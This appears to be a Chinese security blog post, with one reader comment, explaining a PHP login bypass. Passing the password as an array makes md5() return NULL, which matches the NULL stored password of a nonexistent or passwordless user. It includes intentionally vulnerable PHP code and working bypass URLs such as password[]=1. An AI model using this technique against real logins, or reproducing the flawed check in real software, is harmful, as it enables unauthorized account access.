0x01前言
之前在渗透一个登入框的时候,账号随便输入密码输入数组,就成功登入了,这里本地模拟分析一下。
0x02 测试
功能点是可以为你创建的类似于店铺的东西设置一个独立查看密码然后在网址里面可以单独管理
来看看登入的地方,尝试使用自己设置的密码然后传入数组去登入,显示密码失败
但是,这个功能是需要手动去开启的,那么没有开启的密码就是为空,我们尝试登入id为1的用户
成功登入,缺点就是只能登入没有设置密码的sid用户
0x03 本地测试
数据库创建语句,这里用mysql进行测试
CREATE TABLE `users` ( `id` INT(1) NOT NULL AUTO_INCREMENT , `username` VARCHAR(32) NOT NULL , `password` VARCHAR(32) NOT NULL , PRIMARY KEY (`id`)) ENGINE = MyISAM;
INSERT INTO `users`( `username`, `password`) VALUES ('1','2');
模拟的后端代码,乍一看用户名都被addslashes函数转义没办法注入,在不知道正确的账号密码的情况下没办法到成功的
<?php
$conn=mysqli_connect('127.0.0.1','root','root','test','3306');
$name=addslashes($_GET['username']);
$pass=$_GET['password'];
$sql="select * from users where username='$name'";
$result=mysqli_query($conn,$sql);
$row = mysqli_fetch_assoc($result);
if($row['password']!==md5($pass))
{
exit('失败');
}
else
{
exit('成功');
}
?>
判断的核心在于
$row['password']!==md5($pass)
然后$pass我们是可空的,我们可以传入数组,md5函数处理不了数组会返回NULL
<?php
var_dump(md5(array(1=>1)));
输出结果
md5函数处理不了数组会返回NULL那么我们只需要让row['password']也等于NULL即可绕过
$row['password']!==md5($pass)
那么我们只需要让row[‘password’]也等于NULL即可绕过,随便输入一个不存在的用户名或者密码为空的用户,查询出来的结果就是NULL,所以这样就能成功到达成功的if分支,这里我们输出一下var_dump($row[‘password’]);
var_dump($row['password']);
然后传入一个不存在的用户,可以看到返回的也是NULL
两边都是NULL if的结果就为true成功登入
http://127.0.0.1:3333/test.php?username=2&password[]=1
如果用户名存在$row['password']就是不是NULL则不行
http://127.0.0.1:3333/test.php?username=1&password[]=1
One comment
ctf里面遇到过。没想到实战也有。果然我才是笨b